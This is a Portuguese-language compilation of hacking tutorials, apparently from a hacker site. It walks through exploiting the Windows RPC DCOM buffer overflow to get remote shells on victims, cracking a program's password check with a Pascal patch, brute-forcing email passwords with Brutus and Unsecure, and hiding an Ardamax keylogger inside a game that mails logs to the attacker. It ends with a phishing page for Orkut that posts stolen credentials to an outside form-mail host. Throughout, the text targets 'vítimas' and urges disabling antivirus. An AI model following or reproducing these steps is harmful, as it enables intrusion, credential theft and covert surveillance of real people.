A falha afeta sistemas Windows NT/2000/XP/2003 que não tenham baixado as atualizações que a microsoft forneceu em junho de 2003. Ela já é uma falha bem conhecida, mas mesmo assim é comum encontrarmos muitos sistemas vulneríveis. A pouco tempo, digamos uns cinco dias, consegui com sucesso obter acesso administrativo em dois sistemas Windows 2000, três sistemas Windows XP, um sistema Windows NT e um sistema Windows 2003. Se trata de uma falha no serviço rpc da microsoft que possui um erro de programação que permite ao hacker obter uma shell remota através de um buffer overflow. Serí possàvel explorar essa falha se as portas tcp 135, 139, 445 ou 539 estiverem abertas, pois são nessas portas que se encontra o bug do buffer overflow. Se pelo menos uma dessas portas estiver aberta, então o sistema pode estar vulnerível.


Detalhes interessantes:


1 - Máquinas de uma lan ou ligadas a uma DMZ usando sistemas da famàlia Windows NT, são alvos fáceis, pois normalmente possuem pelo menos uma ou mais dessas portas abertas como padrão. Caso os sistemas windows sejam piratas(o que não é difícil de acontecer), as chances de obter sucesso na invasão são quase de 100%, já que são sistemas piratas e são bloqueados pela microsoft não recebendo todas as atualizações como os sistemas originais.


2 - Essa falha é explorada pelo worm MS_BLASTER e suas variantes como o w32_lovesan_worm. Sendo que caso um sistema esteja infectado por um desses worms, isso também aumenta as chances de sucesso na invasão.


Agora veremos como ownar uma máquina Windows explorando essa falha.


Ownando sistemas vulneríveis

Bom primeiramente vamos precisar de três programas para hackear os sistemas vulneráveis:

• Angry Ip Scanner - Programa para conseguirmos grandes faixas de endereços ips e checar a segurança das máquinas.

• Retina RPCDCOM scanner - Programa que scanneia a falha propriamente dita em sistemas vulneríveis através do ip.


• RPC GUI v2 - Exploit com interface gráfica que explora a falha do sistema nos permitindo invadir o mesmo.

Vamos buscar sistemas vulneráveis. Vamos usar a nossa própria faixa ip de iniciação.Para descobri-la vá ao ms-dos(iniciar > executar > cmd.exe) e digite no prompt:

ipconfig

Vamos supor que o ip que apareça é 201.55.188.1. Esse é o nosso ip então nossa faixa ip é 201.55.188.0. Isso significa que podemos explorar as máquinas 201.55.188.1 até 201.55.188.254. Usamos essa faixa no Angry Ip Scanner e configuramos para ele dar port scan nas portas 135,139,445 e 539(Para configurar as portas a serem scaneadas no angry ip scanner, basta ir em Options > Select Ports então especifique as portas ditas anteriormente).

No nosso exemplo, achamos o host 201.55.188.198 com a porta 539 aberta. Bom, agora vamos scanea-lo com o retina.

Especificamos apenas esse ip e essa porta no retina, na mesma hora ele nos retorna o endereço hexadecimal da versão do windows vulnerável. Esse é um dado muito importante! Pois é por esse endereço hexadecimal que iremos explorar a falha em si. O endereço retornado foi:

b052277

Esse endereço hexadecimal pertence a versão inglesa do windows 2003. Com isso já sabemos a versão do sistema que estávulnerável.

Segue-se agora uma tabela de alguns endereços hexadecimais possivelmente retomada pelo scanner retina(a tabela não estácompleta):

WinntSP4eng = e527f377 (Windows NT 4.0 SP4 inglês).
WinntSP5cn = cfdaee77 (Windows NT 4.0 SP5 chinês).
WinntSP6cn = ac0ef077 (Windows NT 4.0 SP6 chinês).
WinntSP6acn = c3eaf077 (Windows NT 4.0 chinês SP6a).
Win2knoSPpl = 4d3fe377 (Windows 2000 polonês sem nenhum service pack).
Win2knoSP3pl = 292ce447 (Windows 2000 polonês SP3).
Win2kSP4SP = 133ba577 (Windows 2000 SP4 espanhol).
Win2knoSPeng1 = 7416e877 (Windows 2000 inglês noSP1).
Win2knoSPeng2 = b524e877 (Windows 2000 inglês noSP2).
Win2kSP3eng1 = 7a36e877 (Windows 2000 inglês SP3 1).
Win2kSP3eng2 = 5cfa2e77 (Windows 2000 inglês SP3 2).
Win2kSP4eng = 9b2af977 (Windows 2000 inglês SP4).
Win2knoSPchi = 2ae3e277 (Windows 2000 chinês noSP).
Win2kSP1chi = 8b89e677 (Windows 2000 chinês SP1).
Win2kSP2chi = 2b49e077 (Windows 2000 chinês SP2).
Win2kSP3chi = 44434241 (Windows 2000 chinês SP3).
Win2kSP4chi = 294cdf77 (Windows 2000 chinês SP4).
Win2kSP3ger = 7a882e77 (Windows 2000 alemão SP3).
Win2knoSPjap = e527f377 (Windows 2000 japonês noSP).
Win2kSP1jap = 8b89e577 (Windows 2000 japonês SP1).
Win2kSP2jap = 2b49df77 (Windows 2000 japonês SP2).
Win2knoSPkr = 2ae3e177 (Windows 2000 coreano noSP).
Win2kSP1kr = 8b89e577 (Windows 2000 coreano SP1).
Win2kSP2kr = 2b49df77 (Windows 2000 coreano SP2).
Win2knoSPm = 2ae3e177 (Windows 2000 mexicano noSP).
Win2kSP1m = 8b89e877 (Windows 2000 mexicano SP1).
Win2knoSPken = 4d3fe377 (Windows 2000 República de Quênia noSP).
Win2kSP1ken = 8b89e877 (Windows 2000 República de Quênia SP1).
Win2kSP2ken = 2b49e277 (Windows 2000 República de Quênia SP2).
WinpnoSPeng = e3afe977 (Windows XP inglês noSP).
WinpSP1eng1 = ba26e677 (Windows XP inglês SP1 1).
WinpSP2eng2 = db37d777 (Windows XP inglês SP1 2).
WinpSP2eng = bd737d77 (Windows XP SP2 inglês).
Win2k3noSPeng = b0542277 (Windows 2003 inglês).
Win2kSP4ger = 292ce377 (Windows 2000 sp4 alemão).
Win2kSP4ger1 = 294ce077 (Windows 2000 sp4 1 alemão).
Win2kSP4ger2 = 56c2e277 (Windows 2000 sp4 2 alemão).
WinpSP1ger = fc18d477 (Windows XP SP1 alemão).
Win2kSP1fr = 4b3ee477 (Windows 2000 SP1 francês).
Win2kSP4fr = 56c2e277 (Windows 2000 SP4 francês).
WinpSP0fr = 4a75d477 (Windows XP francês sem nenhum service pack).
WinpSP1fr = fc18d477 (Windows XP francês SP1).
Win2kSP3big = 252baa77 (Windows XP SP3 Generic).
Win2kSP4big = 252baa77 (Windows XP SP4 Generic).
WinpSP01big = fb7ba171 (Windows XP 1 sem nenhum service pack(0 - 1) Generic).

Voltando ao ataque, agora vamos usar o exploit "RPC GUI v2" para invadir o sistema. Inicie-o e na janela que aparece (na aba exploit) informe o ip da vàtima, a porta que está aberta dentre as que possue a vulnerabilidade, informe o sistema operacional se é windows 2000 ou XP(caso seja nt ou 2000 o do alvo coloque 2000 e caso seja XP ou 2003 coloque XP), informe no campo "Return Adress" o endereço hexadecimal retomado pelo retina e por último configure a porta em que a shell remota será retomada em "Shell port", por exemplo a porta 4000. Mande o exploit atacar e caso ele obtenha sucesso, uma caixa de mensagens informativa irá lhe avisar que o exploit obteve sucesso, então basta conectar na sua porta 4000 por telnet para cair na shell remota da vàtima.

Pronto, você está dentro e agora pode fazer o que quiser. O exploit também vem com uma aba chamada ftp que ativa o servidor ftp no computador da vàtima permitindo que você envie ou baixe qualquer arquivo. Agora é com você.

Happy Hacking Happy

Se protegendo

Não use sistemas piratas, assim você conseguirá todas as atualizações de segurança fornecidas pela microsoft. Não deixe as portas 135, 139, 445 e 539 abertas a menos que seja realmente necessário. Por último, cheque a seguinte chave do seu registro:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run.

Se nela você achar uma chave com o nome "Windows Auto Update" com o conteúdo "MS_BLAST" você está infectado pelo worm que facilita a invasão por essa falha. Delete essa chave e rode o programa "fixblast.exe" para destruir o vírus, reinicie o computador e rode mais uma vez o fixblast.exe para acabar com os últimos vestígios do vírus. Por fim, baixe as atualizações da microsoft e instále-as.

como criar cracks


Aprenda a criar um Crack

Utilitários :
- Win32Dasm
- Hackers View

Pegue estes programas aqui:
http://www.hackerattack.com.br/uploads/programas_hacker/comocriarcracks.rar

Alvo :
- Cracking Challange v 1.0 - Teste "Very Very Easy" ( conjunto de utilidades para creckar )

Download no link acima também, é só extrair e esta tudo lá.

OBS : Este aplicativo cracking Challanger foi feito especialmente para testar o cracker ele
tem vários módulos o que vou explicar é o "very very easy" , mas pra fixar bem voces devem
fazer todos , como eu tambem fiz!!

INICIANDO O CRACKER:

Suponhamos que já tens tudo o que é preciso para começar. Em 1º lugar deves pôr o
programa CRACK.EXE no diretorio do HIEW e já vais saber porquê.
Um bom cracker deve conhecer sempre muito bem o funcionamento do seu alvo, e por isso,
vamos abrir o CRACK.EXE. Carregas na parte onde diz "Very Very Easy". O que vês ? Uma caixa
de texto para por a password e um botão. Tenta escrever uma password qualquer e pressiona
o botão. É óbvio que falhaste. mas não precisas chorar. Reparaste na mensagem que apareceu
na caixa de diálogo: "Sorry not the right one - try again" (ou parecido) ? Guarde esta
mensagem . Feche o programa e agora abre o WIN32DASM. Fazes um "Open file to diassemble"
ao programa CRACK.EXE e espera. Só aparecem coisas esquesitas no programa não é ? Eu
sabia... No menu "Diassembler", vai em "Font... Select Font" e escolhes uma normal ( Arial
por exemplo). Agora está melhor não está ? Suponhamos que não sabes nada de ASM, então o
que vês no programa não te diz nada, mas não desesperes porque isso não te interessa. Va no
menu "Refs" e em "String data References". Já apertaste ? Então agora procura aquele texto da tal caixa de diálogo que apareceu quando tú erraste "Sorry not the right one - try again"
procuras na letra "S". Aperte duas vezes nele e fecha a caixa de diálogo. É suposto veres isto :

...

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
:0043B04D(C)


* Possible StringData Ref from Code Obj ->"Sorry, not the right one - try "
->"again !"

:0043B05B B8F0B04300 mov eax, 0043B0F0
:0043B060 E84788FFFF call 004338AC
:0043B065 8B8358020000 mov eax, dword ptr [ebx+00000258]
:0043B06B 8B10 mov edx, dword ptr [eax]
:0043B06D FF5278 call [edx+78]

...

Como podes ver, é nesta parte do código que o programa trata de mostrar a mensagem que
nós não queremos. Mas aqui, pouca coisa nos interessa, a parte que mais nos interessa é :

...

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
:0043B04D(C)

...

É nesta parte em que vemos o que "causa" o aparecer desta caixa de diálogo. Mas para
perceberem melhor, em ASM a parte mais interessate e importante para os crackers são os
Jumps que como o nome indica são saltos que o programa dá no código conforme certas
situações (se for igual a, se for diferente de...) tipo um GOTO e um IF juntos. Aqui mostra-nos
que existe um salto que depende de uma condição e que vai ter exactamente onde nós não
queremos que ele vá.
Pegue o endereço do JUMP que no nosso caso é: 43B04D , aperte no menu
"GOTO" e em "GOTO CODE LOCATION" irá abrir uma caixa de dialogo , selecione o campo de
texto digite 43B04D e click em localizar , aperte duas vvezes na seta para cima e irá aparecer
isto:
...

* Possible StringData Ref from Code Obj ->"button"

:0043B043 BA9CB04300 mov edx, 0043B09C
:0043B048 E8F789FCFF call 00403A44 <- Compara a pass com a correcta :0043B04D 750C jne 0043B05B <- Se pass errada vai te embora ó cracker[ * Possible StringData Ref from Code Obj ->"Right on ! ... told you ... too "
->"easy ... Try the next one !"

:0043B04F B8ACB04300 mov eax, 0043B0AC
:0043B054 E85388FFFF call 004338AC
:0043B059 EB15 jmp 0043B070

...

Antes de tudo Jne = "Se não for igual vai para " e Je = "Se for Igual vai
para ".
Analisemos agora esta parte do código. No endereço 0043B04D vemos que depois de uma
comparação chamada na linha anterior (pela instrução CALL) ele salta no caso de
desigualdade. Não precisamos saber o tipo de comparação, apenas temos de tirar a lógica da
coisa. Se o resultado não for igual ele vai para a mensagem errada, então só se for igual é que
ele vai para a mensagem correcta.
Já sabes o que fazer ? Pois é, é fácil. Basta substituír jne 0043B05B por je 0043B05B. Mas para
fazer isso temos de usar o HIEW. Antes de lá ires, vê o offset que deve tar na barra de status
do Win32dasm e escreve-o num papel. Eu ajudo-te. É o 3A44D.
Agora fecha o Win32Dasm, abre uma linha de commandos do MS-DOS ,escreve cd
e já nesta directoria escreve hiew crack.exe (o CRACK.EXE deve estar
na mesma direcoria do HIEW, caso contrário terás de escrever hiew
c:\/crack.exe). Dentro do HIEW carrega em F4 e depois em F3.
Deves ver algo como isto :

...

00000000: 4D dec ebp
00000001: 5A pop edx
00000002: 50 push eax
00000003: 0002 add [edx],al
00000005: 0000 add [eax],al
00000007: 000400 add [eax][eax],al 0000000A: 0F00FF ??? di
0000000D: FF00 inc d,[eax]
0000000F: 00B800000000 add [eax][000000000],bh
00000015: 0000 add [eax],al
00000017: 004000 add [eax][00000],al

...

Não te enerves. Carrega no F5 (GOTO) e escreve o Offset. Irá aparecer o seguinte :

...

0003A43B: E894FEFDFF call 00001A2D4 ---------- (1)
0003A440: 8B45FC mov eax,[ebp][-0004]
0003A443: BA9CB04300 mov edx,00043B09C
0003A448: E8F789FCFF call 000002E44 ---------- (2) <- Chama a comparação 0003A44D: 750C jne 00003A45B ---------- (3) <- Se for errado, vai-te embora bad boy 0003A44F: B8ACB04300 mov eax,00043B0AC 0003A454: E85388FFFF call 000032CAC ---------- (4) 0003A459: EB15 jmps 00003A470 ---------- (5) ... Agora carrega em F3 (EDIT), substitui o 75 (cod HEX para jne) por 74 (cod HEX para je) e carrega em F9 (ACTUALIZAR). Faz F10 e arranca o CRACK.EXE e tenta introduzir uma pass qualquer. Que tal ? Deu !!!!! Conseguiste crackear o teu 1º programa. Parabéns !!!. Se quizeres fazer um patch para creckar este programa, aqui está o código em PASCAL : --------------------------------------------<>------------------------------------------
program Cracking;
uses Crt;
Const A: Array[1..1] of Record
A : Longint;
B : Byte;

End =
((A:$3A44D;B:$74));


Var Ch:Char; I:Byte;
F:File;
FN:file of byte;
Size:longint;

Begin
Writeln('Patch para o Cracking Challange v1.0 - VVE');
writeln('By Znet - XpT'99');
Assign(F,'CRACK.EXE');
Reset(F,1);
If IOResult <> 0 then
begin
writeln('Ficheiro não encontrado');
halt(1);
end;
For I:=1 to 1 do

Begin
Seek(F,A[I].A);
Ch:=Char(A[I].B);
Blockwrite(F,Ch,1);
End;
Writeln('Patch colocada com sucesso !');
End.
--------------------------------------------<>------------------------------------------


OBS: Bem galera é isso aí não é tão complicado crackear um
aplicativo mas é um processo que requer muita paciência .

DICA: Basta achar o JUMPING que está fazendo a checagem do
serial e transformar a JNE que está negando o serial em uma
JE que irá afirmar qualquer serial que vc por lá . Para isto
basta substituir os 5 pelos 4 que tiverem no numero da JNE.

Roube senhas com o brute force


Brutos - Brute Force, descobrindo senhas

Esta materia tem como intuito ensinar a voces a dominar o Software brutus, que consegue descobrir senhas pela técnica da força-bruta. Isso significa que ele tenta várias senhas antes de acertar. Pode-se que nunca acerte (no caso de pessoas que tem senhas muito complicadas, misturando letras maiúsculas, minúsculas e números…) ou que demore dias, até semanas para se descobrir uma senha mais fácil (dependendo do seu tamanho). Tenha em mente que a chance de se descobrir uma senha por esse método é de 30%. Você dependerá da sorte.

A tela principal do Brutus:

Vou explicar passo a passo todas as sessões do programa que você vê acima. Assim ficará mais fácil utilizá-lo e você compreenderá melhor o seu funcionamento.

Target – Aqui você coloca o endereço de onde você vai descobrir a senha. Isso pode ser muito variável. Por exemplo, se você for descobrir uma senha de HTTP FORM (visto depois), não adianta só você colocar www.site.com , você teria que colocar o caminho inteiro do formulário. Isso poderia ser complicado para algumas pessoas. Caso esteja tentando descobrir uma senha de ftp ou pop3 por exemplo, é só colocar o endereço do site na maioria das vezes.

Type – Esse é o mais importante de todos. Você vai definir que tipo de senha quer descobrir. Os tipos são:
- HTTP Basic Auth
- HTTP Form
- FTP
- POP3
- TELNET
- SMB (Netbios)
- Custom

Vamos ver um a um:

HTTP Basic Auth – Esse é utilizado para se descobrir senhas de autenticação básica em páginas web (não baseadas em formulários).

HTTP Form – Para descoberta de senhas que utilizam formulários. Ex: e-mails de Yahoo e Hotmail.

FTP – Descobrir senhas de servidores ftp, utilizados para transferência de arquivos.

POP3 – Esse é importante. É utilizado para o recebimento de e-mails através de programas próprios. Através dele você senhas de e-mails muito mais rapidamente que utilizando HTTP Form. Por exemplo: Eu quero descobrir uma senha do Yahoo. Mas o yahoo.com.br permite que você use um servidor POP3 para ler os e-mails através do seu outlook ou outro programa qualquer. Se eu utilizasse HTTP Form, demoraria muito tempo para descobrir… algo como 1 ou 2 tentativas por segundo. Mas se eu tentar o endereço “pop.mail.yahoo.com.br”, que é o endereço POP3 para recebimento de e-mails do Yahoo (cada provedor / site tem o seu… procure saber qual é) vou conseguir aumentar a velocidade para 12 ou 13 tentativas por segundo.

TELNET – Utilizado para descobrir senhas de sistemas remotos que aceitam conexão via telnet (porta 23). Por exemplo, um sistema Linux ou Unix.

SMB (Netbios) – Senhas para acesso à sistemas Windows por compartilhamento de arquivos.

CUSTOM – Você pode customizar como quiser.
Depois temos os botões Start (iniciar), Stop (parar) e Clear (limpar)

Port – Porta do serviço que você vai utilizar para descobrir a senha. Geralmente não precisa mexer, quando você escolhe o tipo de serviço que quer descobrir ele coloca automaticamente a porta.
Connections – Quantidade de conexões simultâneas que o programa fará com o servidor. Quanto mais, mais rápido a senha será descoberta. Mas isso pode gastar muita banda do seu computador e do servidor, fazendo com que acabe ficando mais lento que antes. Adapte com cuidado.

Timeout – Tempo que irá durar as conexões. Pode deixar como está.
Abaixo você verá algumas configurações exclusivas de cada tipo de servidor. Por exemplo, se você selecionar o POP3 aparecerá a opção “Try to stay connected for … “ (tentar ficar conectado para… “), e você pode escolher quantas tentativas o programa fará antes de se desconectar e conectar de novo ou simplesmente colocar Unlimited (ilimitado). As vezes, certas configurações de proteção bloqueiam um usuário após ele errar a senha 3 vezes seguidas… daí você teria que configurar para o sistema tentar 2 vezes, desconectar e conectar de novo.

Authentication Options (opções de autenticação)

Aqui você pode definir o usuário / usuários que quer descobrir a senha e o método que será utilizado.

Use Username – Marque essa opção se a senha que você está tentando descobrir necessita de se dar um nome de usuário. Netbios para sistemas Windows 95, 98 e ME por exemplo não necessitam de usuário, só da senha

Single User – Marque se você quer descobrir a senha de um usuário somente. Se quiser de várias pessoas, deixe desmarcado.

Se o Single User estiver desmarcado, aparecerá User File. Você terá que selecionar um arquivo que contém o nome dos usuários, um em cima do outro. Assim:

Usuario1
Usuario2
Usuario3

Se Single User estiver marcado, aparecerá UserID. Daí é só colocar o nome do usuário.

Depois veremos Pass Mode. Ela mostra três tipos de senhas para serem descobertas. Wordlist, ComboList e Bruteforce.

Wordlist – Uma lista de palavras comumente usadas. Por exemplo, você pode carregar uma lista de palavras com vários nomes e tentar usar todos eles como senha. Sabendo que várias pessoas utilizam senhas fáceis (nomes de atores, datas de nascimento, etc… ) sua chance de descobrir uma senha fácil é grande aqui. O Brutus vêm com uma lista de palavras em inglês, mas se quiser existem listas em português na Internet. Ou você pode fazer a sua própria. Exemplo de uma lista:

Amor
Andreia
Adriana
Antonio


ComboList – É a WordList melhorada. Por exemplo, certas pessoas têm o péssimo hábito de colocar um número na frente da senha. Será tão mais seguro assim? Exemplo: em vez de colocar marcos como senha eu coloco marcos1 . É exatamente isso o que o ComboList descobre. Ele pega as senhas que estão na WordList e coloca números na frente, muda para maísculo, inverte a senha… típicas coisas que uma pessoa comum faz.

BruteForce – É o mais poderoso e o mais demorado. Com ele você pode descobrir qualquer senha, mas pode levar milênios (!!!) . Dentro da opção Range, você pode configurar o tamanho mínimo e máximo da senha (Min Length e Max Length) e o que será tentado… só digitos (Digits only), letras minúsculas (Lowercase Alpha), letras maiúsculas (Uppercase Alpha), maiúsculas e minúsculas (Mixed Alpha), letras e números (AlphaNumeric), ou todos os caracteres do teclado, incluindo símbolos como +, - e * (Full Keyspace). Por último você também pode customizar quais caracteres serão usados.

Por último:

Positive Authentication Results mostra que senhas você já descobriu, destacando o endereço e o nome do usuário. Fique atendo também na barra inferior do Brutus que mostra que senha está sendo tentada no momento, a quantidade de tentativas por segundo e o tempo que demora para acabar.

Bom, eu espero que com esse documento fique mais fácil utilizar esse poderoso programa. Ele não é o único que faz força bruta, existem muitos outros, mas nem todos tão simples de se utilizar. Novamente digo que a chance de descoberta de senhas utilizando esse método é de apenas 30%, então recomendo utilizar um trojan ou um keylogger se você quer obter a senha rapidamente.

Qualquer dúvida fale conosco.

Tutorial Unsecure - Brute Force

Tutorial Unsecure ( Brute Force ) Roubando senhas !!!

1° No primeiro campo nós temos COMPUTER NAME OR IP neste campo nós iremos colocar o ip ou o nome do provedor que gostariamos de pegar login e senha de um usuario.

Ex.:

usuario@yahoo.com.br nós iremos colocar http://www.yahoo.com.br

2° Em PORT iremos colocar a porta mais famosa da net que é a "80"

3° No campo CURRENT PASSWORD vc irí deixar em branco este campo vc verí mais a frente que ele ficarí fazendo as combinações automaticamente.

4° No campo USERNAME vc ira colocar o login da pessoa q vc deseja descobrir a senha.

Ex.:

se o email da Vitima é vitima@yahoo.com.br voce ir colocar neste campo o nome "vitima"

5° No campo DICTIONARY FILE vc deixa como esta o nome unsdic.txt :






Agora vamos para a parte "ATTACK OPTIONS"

Deixe marcadas as seguintes opções.

* BRUTE FORCE ATTACK ( PARA Q PROCURE NA FORÇA BRUTA)
* RECONNECT ON DISCONNECT ( PARA SE ACONTECER DE DESCONECTAR ELE IRA COMEÇAR DA ONDE PAROU)

Veja a foto abaixo:










O proximo passo é o BRUTE FORCE OPTIONS,nesta parte vc ira escolher quais as conbinações vc quer que o Unsecure faça:

* a-z
* A-Z
* 0-9
* !~@#"!#$%¨¨&*()_+}
* Custon character set - pesquisar todas as conbinações acima.

Ao lado estamos vendo um campo com o seguinte nome:

NUMBER OF CHARACTER TO START ON:

Este campo vc ira colocar o numero de caracters que vc queira conbinas.
Obs. A maioria dos provedores de internet pedem no minimo 6 caracters:






Agora vejamos que o programa ja esta fazendo as combinações como mostra no circulo vermelho









Agora é só esperar a menssagem PASSWORD AS BEN para receber sua senha isso pode levar minutos, horas, ou dias.

Tutorial Ardamax

Ardamax Keylogger é um ótimo keylogger invisível que, com ele, você pode gravar tudo que foi digitado no seu computador em um arquivo log, que pode ser visto como texto ou Página da web.Use este keylogger encontrar para fora o que está acontecendo em seu computador quando você estiver ausente, mantiver um apoio de seus dados datilografados automaticamente ou o usa monitorar seus "miúdos".Lembrando que, ele possui utilitário de instalação e desinstalação.

Instalando Ardamax KeyLogger:

Depois de ter baixado e executado o Ardamax em sua máquina, siga os passos abaixo:

1ª Tela -> I Agree
2ª Tela -> Next
(Recomendo deixar tudo marcado como esta.)
3ª Tela -> Install
(Escolha um local onde deseja instalá-lo!
Recomendo deixar como está lá mesmo.)
4ª Tela -> Finish
Obs.: Deixe a opção "Run Ardamax Keylogger 2.6" habilitada, e desabilite: "View The Quick Tour".

Obs**.:Depois de ter clicado em "Finish" na última tela, automaticamente estara finalizando a instalação do mesmo, em seguinda, aparecerá um ícone dele na barra de tarefas.
Fim da instalação.

Registrando seu Ardamax:

Depois de te-lo instalado direitinho, vamos registrá-lo para que possamos usá-lo de uma forma mais adequada. Clique com o botão direito do mause no ícone do ardamax, e logo em "Enter Registration key".Depois coloque o serial que se encontra abaixo:

Name: Invasão
Key: XTPFVPQINFMUMUM

ou

Name: DBO.@x3
Serial: SOUGQBRFQOGREDB
Depois é só clicar em OK e pronto, já registramos !

Configurando sua server no Ardamax:

Agora iremos configurar o server do ardamax, siga os passos:

1° Passo: Clique com o botão direito do mause e vá em "Remote Installation" como mostra a imagem:


2° Passo: Após ter clicado em "Remote Installation", vai abrir uma janelinha, que é nesta janelinha que iremos configurar e criar nosso server. Mas vamos ao que interessa:

1ª Tela: Avançar

2ª Tela: Em “Appearance” nós iremos juntar algum arquivo com o nosso keylogger, no caso abaixo iremos testar com um joguinho chamado “Paciência Spider”.Deixe a opção "Append keylogger engine to file or another application" habilitada que servirá para nós juntar o server com o jogo (Server+Executável) caso contrário não darás para juntar com algo, ou seja, ira criar somente o server.



Depois clique em Avançar.

3ª Tela: Em “Invisibility” irei explicar tudo e o porquê de deixar tais opções marcadas.

Traduzindo:

- HIDE TRAY ICONE: esconder o ícone perto do relógio... MARQUE, lógico.
- HIDE THE PROGRAM FROM CRTL+ALT+DEL: esconder do ctrl alt del , pode marcar.
- REMOVE SHORTCURTS FROM START MENU: não vai deixar nada lá no Iniciar da vítima.Marque
- REMOVE DE PROGRAM FROM UISNTALTION LIST: tirar a opção de desinstalar o Ardamax pelo
"ADICIONAR/REMOVER PROGRAMAS" !!!Marque!!!
- HIDE PROGRAM FOLDER: Esconder a pasta do Ardamax lá na pasta do windows ou system.Marque!
- HIDE THE PROGRAM: esconde o Ardamax da lista de programas que iniciam com o windows,marque!

Agora, veja a imagem abaixo:


Resumindo a historia,marque tudo!!!

4ª Tela: Em “Security” iremos deixar desabilitado, não é necessário colocarmos senha no server, acho isso inútil.Clique em "avançar".

5ª Tela: Em “Web Update” desabilite tudo, não podemos deixar quaisquer tipos de pistas para a vítima.


Clique em "Avançar".

6ª Tela: Em “Options” deixe as duas opções habilitadas, vejamos o porquê agora.

- Run on Windows startup: Funcione na partida de Windows.

- Start in hidden mode: Comece na modalidade escondida.

Em "Hidden mode on", de preferência mude as teclas de atalhos, coloque a que desejar (Mesmo sendo desnecessário). Em "Self desctruct on" você escolhe uma data no qual o keylogger se auto-destruirá no PC da vítima, ou seja, se você marcar qualquer dia lá, e neste dia, o keylogger (Server) é desinstalado do PC da vítima. De preferência eu deixo isto desabilitado por motivos óbvios.

7ª Tela: Em “Control”, marque a opção "Send logs every" e coloque o tempo desejado no qual os logs chegarão a você,no caso eu marquei de 30 em 30 minutos.Em "Delivery method" é a forma no qual deseja pegar os logs, eu prefiro por Email, sendo que por FTP é mais rápido.Em "Include" deixe como está mesmo, é óbvio.Na opção "Log format" é o formado do log que será visualizado, eu prefiro em HTML mesmo.Em "Send only if log size exceeds" coloque o tamanho desejado dos logs a serem enviados, nesse caso, devemos fazer tipo uma "comparação" com os minutos e o tamanho dos logs, sendo assim, eu deixo como 75 Kb mesmo o tamanho.

Depois clique em Avançar.

8ª Tela: Estamos na parte final, em "Email", iremos colocar o Servidor SMTP do e-mail e o próprio e-mail, é óbvio né.No caso eu testei com meu e-mail da "yahoo".Em "Send To" é o remetente, então no caso você coloca o seu e-mail.Em "Send From" é o destinatário, simplesmente coloque o seu e-mail novamente.Depois de ter colocado os E-mails em ambas, aparecerá esta mensagem de sucesso:

Obs.:Logo em seguida, veja sua caixa de e-mail e veja se a mensagem de confirmação chegou!Em "SMTP Host", ao lado terás um botão chamado "Find", clique nele e veja o que aparecerá no SMTP
Obs.:Em username e password não é necessário colocar nada, deixe o espaço em branco e clique em Avançar.

9ª Tela: Em "Control",vamos traduzir:

• Enable keystrokes logging: permite registrar dos keystrokes.
• Enable Clipboard logging: permite registrar de "prancheta" (Clipboard).
• Enable web activity monitoring: permite a monitoração da atividade da web fotorreceptora.
• Enable screenshots capturing: permite capturar dos screenshots.
• Enable chat logging: permite registrar do bate-papo.

Obviamente iremos deixar todas as opções marcadas.Depois clique em Avançar
Obs.:Em username e password não é necessário colocar nada, deixe o espaço em branco e clique em Avançar.

9ª Tela: Em "Control",vamos traduzir:

• Enable keystrokes logging: permite registrar dos keystrokes.
• Enable Clipboard logging: permite registrar de "prancheta" (Clipboard).
• Enable web activity monitoring: permite a monitoração da atividade da web fotorreceptora.
• Enable screenshots capturing: permite capturar dos screenshots.
• Enable chat logging: permite registrar do bate-papo.

Obviamente iremos deixar todas as opções marcadas.Depois clique em Avançar

10ª Tela: Em "Screenshots", dependerá da pessoa,isso leva para um lado pessoal.Em Target: As Opções "Full Screen" é a visualização de tela cheia dos screens, em "Active Window" é em uma janela ativa, eu particularmente prefiriria em uma tela cheia (Full Screen) mesmo.Em Image Quality (Qualidade de imagem) deixe como está mesmo.
Clique em Avançar.

11ª Tela: Bom, estamos na parte final da configuração do nosso server, agora em "Destination", vamos mudar o nome do nosso
server, o nome atual é "Install" como eu já havia dito anteriormente que eu iria juntar o server com um executável que no
caso é o "Paciência Spider", irei renomeiar o nome para "spider", veja na foto:

Bom depois disso, clique em "Change Icon..." para alterar o ícone do nosso server e deixá-lo mais "disfarçado".Assim que tiver clicado em "Change Icon" abrirá esta janela:
Como o ícone do Paciência Spider não se encontra naquele local, irei procurar pelo o seu diretório, que no caso podemos encontrá-lo em:

C:\WINDOWS\system32\spider.exe
Logo clique em OK.
Depois clique em Avançar.

12ª Tela: Finish!!! Terminamos de criar o nosso server, veja a imagem final:

Clique em Concluir.Depois de concluir
Logo a seguir vai abrir uma pasta da instalação do Ardamax Keylogger 2.8
Pronto voce criou sua server,agora é so "zipar"e mandar para a vitima por e-mail ou pelo "msn",lembrando que este conteúdo tem fins apenas para estudo com intuito de se prevenir contra eventuais ataques,não me responsabilizo pelos seus atos,o download do Ardamax keylogger esta disponivel em nossa seção de downloads,lembrando que seu ant-virus "apita" quando voce for executa-lo,então desative ele primeiro ate ter concluido a criação de sua server !!!

criando pagina fake para orkut

Olá, hoje vamos aprender a criar uma fake page pelo MS FrontPage!

Ingredientes:
Microsoft FrontPage
Mozilla FireFox

1º passo: Hoje vamos criar uma fake do Orkut. No Mozilla digite http://www.orkut.com vai aparecer a pagina de login do orkut, você vai em Arquivo>Salvar como... Crtl+S

Reparem que tem uma parte circulada na area Salvar como tipo e que esta selecionado Página da web, somente HTML e em Nome do Arquivo coloque index.htm. Após isso clique em salvar. Página Salva vamos ao segundo passo.

2º passo: Página salva clique nela com o botão direito e em Abrir com e selecione Microsoft Office FrontPage.

Vai abrir a sua página salva, então na Caixa de Senha clique com o botão direito e selecione Propriedades do formulário...:

Vai abrir uma caixa de diálogo. Clique em Opções e coloque assim:

Ação: http://form2mail.tp.boo.pl/form2mail.php
Método: POST
Tipo de Codificação:


Feito isso clique em OK e agora clique em Avançadas. Apague tudo o que tiver e clique em Adicionar. Vai abrir uma caixa de dialogo e coloque assim:

Nome: adresat
Valor: E-MAIL QUE VAI REDIRECIONAR A SENHA

Em Valor: não é pra escrever E-MAIL QUE VAI REDIRECIONAR A SENHA, e sim colocar o seu e-mail(preferência gmail).Clique Ok. Após isso clique Adicionar e coloque assim:

Nome: ok
Valor: URL QUE VAI REDIRECIONAR

Feito isso de Ok de novo e Salve a página. Pronto agora é so upar em um site e enviar pra vitima !

DOWNLOADS:

MSFrontPage:
Parte 1
http://rapidshare.com/files/21839305/At ... .part1.rar

Parte 2
